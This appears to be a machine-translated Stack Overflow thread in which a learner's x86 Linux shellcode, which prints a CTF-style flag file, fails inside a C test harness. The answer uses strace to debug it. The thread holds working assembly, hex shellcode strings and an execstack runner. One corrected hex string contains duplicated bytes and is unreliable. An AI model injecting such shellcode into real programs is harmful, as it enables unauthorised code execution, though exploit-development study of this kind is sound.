从二进制中拉出时,Shellcode不起作用

时间:2019-04-15 23:51:09

标签: linux assembly x86 nasm shellcode

我正在学习编写shellcode,并试图读取文件(在这种情况下为/flag/level1.flag)。该文件包含一个字符串。

通过在线查看教程,我提出了以下shellcode。它打开文件,逐字节读取文件(将每个字节推送到堆栈上),然后写入stdout,将指针指向堆栈顶部。

section .text

global _start

_start:
    jmp ender

starter:
    pop ebx                     ; ebx -> ["/flag/level1.flag"]
    xor eax, eax 
    mov al, 0x5                 ; open()
    int 0x80
    mov esi, eax                ; [file handle to flag]
    jmp read

exit:
    xor eax, eax 
    mov al, 0x1               ; exit()
    xor ebx, ebx                ; return code: 0
    int 0x80

read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                ; read 1 byte
    int 0x80

    xor ebx, ebx 
    cmp eax, ebx 
    je exit                     ; if read() returns 0x0, exit

    xor eax, eax 
    mov al, 0x4                 ; write()
    mov bl, 0x1                 ; stdout
    int 0x80
    inc esp 
    jmp read                  ; loop

ender:
    call starter
    string: db "/flag/level1.flag"

这是我要进行编译和测试的工作:

nasm -f elf -o test.o test.asm
ld -m elf_i386 -o test test.o

当我运行./test时,我得到了预期的结果。现在,如果我从二进制文件中提取shellcode并在精简的C运行器中对其进行测试:

char code[] = \
"\xeb\x30\x5b\x31\xc0\xb0\x05\xcd\x80\x89\xc6\xeb\x08\x31\xc0\xb0\x01\x31\xdb\xcd\x80\x31\xc0\xb0\x03\x89\xf3\x89\xe1\xb2\x01\xcd\x80\x31\xdb\x39\xd8\x74\xe6\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x44\xeb\xe3\xe8\xcb\xff\xff\xff\x2f\x66\x6c\x61\x67\x2f\x6c\x65\x76\x65\x6c\x31\x2e\x66\x6c\x61\x67";


int main(int argc, char **argv){
    int (*exeshell)();
    exeshell = (int (*)()) code;
    (int)(*exeshell)();
}

编译如下:

gcc -m32 -fno-stack-protector -z execstack -o shellcode shellcode.c 

然后运行它,我看到我正确地读取了文件,但是随后继续在终端上打印垃圾(我必须按Ctrl + C)。

我猜想这与read()没有遇到\x00有关,因此继续从堆栈中打印数据,直到找到空标记为止。那是对的吗?如果是这样,为什么编译后的二进制文件有效?

1 个答案:

答案 0 :(得分:2)

TL; DR :在目标可执行文件中作为漏洞利用程序运行时,切勿假定寄存器的状态。如果需要将整个寄存器清零,则必须自己进行。利用漏洞开始执行时,取决于寄存器中的内容,独立运行和正在运行的程序可能会有所不同。


如果您正确地构建了 C 代码以确保堆栈是可执行的,并且您构建了32位漏洞利用程序并在32位可执行文件中运行(如您所愿),则主要原因是如果您没有正确地将寄存器清零,那么当不是独立运行时,事情可能会失败。作为一个独立程序,许多寄存器可能为0或高24位为0,而在运行的程序中则可能并非如此。这可能会导致系统调用的行为有所不同。

调试Shell代码的最佳工具之一是GDB之类的调试器。您可以逐步利用漏洞并在系统调用(int 0x80)之前检查寄存器状态。在这种情况下,更简单的方法是STRACE工具(系统跟踪)。它将向您显示所有系统调用以及程序正在发出的参数。

如果您在strace ./test >output包含以下内容的独立程序上运行/flag/level1.flag

test

您可能会看到STRACE输出类似于:

execve("./test", ["./test"], [/* 26 vars */]) = 0
strace: [ Process PID=25264 runs in 32 bit mode. ]
open("/flag/level1.flag", O_RDONLY)     = 3
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "e", 1)                         = 1
write(1, "e", 1)                        = 1
read(3, "s", 1)                         = 1
write(1, "s", 1)                        = 1
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "\n", 1)                        = 1
write(1, "\n", 1
)                       = 1
read(3, "", 1)                          = 0
exit(0)                                 = ?
+++ exited with 0 +++

我将标准输出重定向到文件output,因此它不会使STRACE输出混乱。您可以看到文件/flag/level1.flag已作为 O_RDONLY 打开,并且返回了文件描述符3。然后,您一次读取1个字节,并将其写入标准输出(文件描述符1)。 output文件包含/flag/level1.flag中的数据。

现在在您的shellcode程序上运行STRACE并检查差异。在读取标志文件之前,请忽略所有系统调用,因为系统调用shellcode程序是在被利用之前直接和间接进行的。输出可能看起来不完全像这样,但是可能很相似。

open("/flag/level1.flag", O_RDONLY|O_NOCTTY|O_TRUNC|O_DIRECT|O_LARGEFILE|O_NOFOLLOW|O_CLOEXEC|O_PATH|O_TMPFILE|0xff800000, 0141444) = -1 EINVAL (Invalid argument)
read(-22, 0xffeac2cc, 4293575425)       = -1 EBADF (Bad file descriptor)
write(1, "\211\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0"..., 4293575425) = 4096
read(-22, 0xffeac2cd, 4293575425)       = -1 EBADF (Bad file descriptor)
write(1, "\345_V\1\0\0\0\224\303\352\377\234\303\352\377@\0`V\334Sl\367\0\303\352\377\0\0\0\0\206"..., 4293575425) = 4096
[snip]

您应注意,打开失败的原因是-1 EINVAL (Invalid argument),如果您观察到传递给打开的标志,则还有很多 O_RDONLY 。这表明 ECX 中的第二个参数可能未正确清零。如果您看一下代码,就会发现:

pop ebx                     ; ebx -> ["/flag/level1.flag"]
xor eax, eax 
mov al, 0x5                 ; open()
int 0x80

您没有将 ECX 设置为任何值。在实际程序中运行时, ECX 不为零。修改代码为:

pop ebx                     ; ebx -> ["/flag/level1.flag"]
xor eax, eax 
xor ecx, ecx
mov al, 0x5                 ; open()
int 0x80

现在使用此修复程序生成shellcode字符串,它可能类似于:

  

\ xeb \ x32 \ x5b \ x31 \ xc0 \ x31 \ xc9 \ xb0 \ x05 \ xcd \ x80 \ x89 \ xc6 \ xeb \ x08 \ x31 \ xc0 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80 \ x31 \ xc0 \ xb0 \ x03 \ x89 \ xf3 \ x89 \ xe1 \ xb2 \ x01 \ xcd \ x80 \ x31 \ xdb \ x39 \ xd8 \ x74 \ xe6 \ x31 \ xc0 \ xb0 \ x04 \ x04 \ xb3 \ x01 \ xcd \ x80 \ x44 \ xeb \ xe3 \ xe8 \ xc9 \ xff \ xff \ xff \ x2f \ x66 \ x6c \ x61 \ x67 \ x2f \ x6c \ x65 \ x76 \ x65 \ x6c \ x31 \ x2e \ x66 \ x66 \ x6c \ x61 \ x67

再次使用STRACE在您的shellcode程序中运行此shell字符串,输出可能类似于:

open("/flag/level1.flag", O_RDONLY|O_EXCL|O_APPEND|O_DSYNC|0xff800000) = 3
read(3, "test\n", 4286583809)           = 5
write(1, "test\n\0\0\0\24\25\200\377\34\25\200\377@\0bV\334\363r\367\200\24\200\
377\0\0\0\0"..., 4286583809) = 4096

这更好,但是仍然存在问题。读取的字节数(第三个参数)为4286583809(您的值可能不同)。您的独立代码假设一次读取1个字节。这表明 EDX 的高24位可能未正确清零。如果您查看代码,请执行以下操作:

read:
    xor eax, eax 
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    mov dl, 0x1                 ; read 1 byte
    int 0x80

在此部分代码中(或之前),您都不会将 EDX 归零,然后再将1放入 DL 中。您可以这样做:

read:
    xor eax, eax
    mov al, 0x3                 ; read()
    mov ebx, esi                ; file handle to flag
    mov ecx, esp                ; read into stack
    xor edx, edx                ; Zero all of EDX
    mov dl, 0x1                 ; read 1 byte
    int 0x80

现在使用此修复程序生成shellcode字符串,它可能类似于:

  

\ xeb \ x34 \ x5b \ x31 \ xc0 \ x31 \ xc9 \ xb0 \ x05 \ xcd \ x80 \ x89 \ xc6 \ xeb \ x08 \ x31 \ xc0 \ xb0 \ x01 \ x31 \ xdb \ xcd \ x80 \ x31 \ xc0 \ xb0 \ x03 \ x89 \ xf3 \ x89 \ xe1 \ x31 \ xd2 \ xb2 \ x01 \ xcd \ x80 \ x31 \ xdb \ x39 \ xd8 \ x74 \ xe4 \ x31 \ xc0 \ xb0 \ x04 \ xb3 \ x01 \ xcd \ x80 \ x44 \ xeb \ xe1 \ xe8 \ xc7 \ xff \ xff \ xff \ x2f \ x66 \ x6c \ x61 \ x67 \ x2f \ x6c \ x65 \ x76 \ x65 \ x6c \ x31 \ x2e \ x66 \ x6c \ x61 \ x67

再次使用STRACE在您的shellcode程序中运行此shell字符串,输出可能类似于:

open("/flag/level1.flag", O_RDONLY)     = 3
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "e", 1)                         = 1
write(1, "e", 1)                        = 1
read(3, "s", 1)                         = 1
write(1, "s", 1)                        = 1
read(3, "t", 1)                         = 1
write(1, "t", 1)                        = 1
read(3, "\n", 1)                        = 1
write(1, "\n", 1)                       = 1
read(3, "", 1)                          = 0

这会产生所需的行为。查看其余的汇编代码,似乎没有在任何其他寄存器和系统调用上犯此错误。使用GDB会在每个系统调用之前向您显示有关寄存器状态的类似信息。您会发现寄存器并不总是具有预期值。